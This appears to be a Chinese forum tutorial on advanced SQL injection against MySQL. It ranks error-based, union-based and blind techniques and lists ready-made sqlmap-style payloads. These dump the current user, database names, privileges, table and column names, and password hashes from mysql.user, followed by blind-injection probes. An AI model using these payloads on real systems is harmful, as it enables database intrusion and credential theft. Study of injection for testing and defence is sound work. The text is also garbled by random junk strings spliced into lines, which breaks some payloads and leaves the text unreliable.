放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
( `/ Y- \, _( e2 M* U( F5 G ; \1 D& H$ y+ {2 h& H, S* H
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表- d. \3 H0 V0 N: D3 [: b* H' |
+ a+ e/ d+ O# Z$ s分类标准 分类 备注" E5 W( B- @9 p
按字段类型 整型注入,字符型注入
; B' y, ?& m0 H, N, M按出现的位置 get注入,post注入,cookie注入,http header注入 2 ?, T5 Q$ r0 b: G% K) \. o1 R
然而高级注入是这样的3 C* T7 g; K$ B5 @7 N- i. H- x
+ V9 i* c2 v/ z/ C, Z
高级注入分类 条件 I1 a2 @% u+ i$ u
error-based sql 数据库的错误回显可以返回,存在数据库,表结构. X( i2 G7 S% e8 t+ v
union-based sql 能够使用union,存在数据库,表结构
3 k2 P7 _! v3 p3 A7 T: ^blind sql 存在注入
; N8 _. p6 i `我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。
9 U" I9 B1 s) F( Z6 t; F2 Y) \1 i
2 P' g, P1 {. Z" d+ f好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
$ ?/ q9 I3 ^/ z- j5 v/ y* [( a
% ^4 }% S" u* N2 d" v/ y+ `# d附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
( B. O$ l0 C- M , J8 b) x( X& Y/ Y9 | m1 U
这里用mysql说明
) k# e, t6 G8 o4 e7 R 7 [$ J! v, e$ x
e注入坛子里很多了,请看戳我或者再戳我
3 r8 r* Y; @) o9 R) E
1 B0 W7 m, d: x, K) A7 _+ u3 Wu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
1 a3 }7 `1 l9 z6 T 7 M! A% I2 @) ]. g2 |, x
获取当前数据库用户名
& L* s' D' `$ r; d
( Y3 A1 D8 K/ f' {UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C+ ^6 J! ? H5 D, k5 m/ b
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL- \2 r1 n& @8 R3 ?& W0 j0 t2 O& ]
L, NULL#
5 {9 @- g8 c7 a注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。7 n; f* u5 T( ?8 w' R# Y2 p
" b4 `! m0 C+ K e8 O. H) D
获取数据库名
: ?! i9 Q, n" H
2 L; w7 {7 R1 Z4 S3 _UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#7 b q. z8 R, N- a; g
获取所有用户名3 z% i5 p; M/ D5 J+ X/ l7 }
# i9 s- x+ N" \, p _9 N+ X
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
7 L+ b& a3 o6 C# K查看当前用户权限
, M8 r/ O( s9 x2 R( A
. ~7 B) T4 ?' V5 i# U: \/ qUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#6 A+ P ^, ?. _3 R; O0 x
尝试获取密码,当然需要有能读mysql数据库的权限
9 M7 q& Y# U+ A/ D- Y, Z) b 6 P7 B3 ?! t9 O
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
! Z" R0 `5 p e1 T" w2 o% W" @$ P+ R获取表名,limit什么的自己搞啦9 D9 y* ?/ B2 s3 E5 K
- l+ }* o; S: e4 j' u- G
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
. h" T7 P2 [4 m# J7 m3 G获取字段名及其类型/ @1 q) ]3 _7 Z' H, o
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
_( t P% @3 i, t5 M7 U0 a 6 I0 I+ b1 u) Z
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
3 U# U" B }! n5 c
) C4 k) K% x2 w/ S0 I' E5 A如:3 h9 O {2 `! ?7 R* q k
获取当前用户名5 @' {9 N' _7 V* R
/ c( C8 E$ q+ e$ n( P6 L( K+ B) IAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116% |! k0 m0 g) }, E9 T
获取当前数据库& X2 ~4 o( B- C0 e; b0 J
8 O( P' u- o5 `+ k4 NAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
& ]2 f$ x# }# Z( \5 ~获取表名& S$ C+ ]! k2 t5 o3 A b% e
& e8 r* \: k5 q3 }. m% YAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
\' m1 V6 }9 \0 B) P& X获取字段名及其类型和爆内容就不说了,改改上面的就可以了。! i6 ~/ t; m: X+ y
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
. l# n, ^: J( z, ]5 H' o爆表" d4 z" h2 D4 u, q0 x' Z
2 O* M! B2 g0 p) X% P; J. jAND EXISTS(select * from table)9 a6 v2 ?& T6 d }- }5 M2 O1 r3 s
爆字段* Z1 ?7 A- T# w
9 W1 S2 l) F8 h# x) S4 @% M
AND EXISTS(select pwd from table). e. O7 l s3 m2 p/ X. p$ S% |
盲注的变化就比较多了,由于篇幅,只是举个例子而已。3 b7 H4 i1 ^/ u8 o
, }6 I; ?5 b$ Q) m# W本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。7 z1 y8 F8 z7 I5 c
|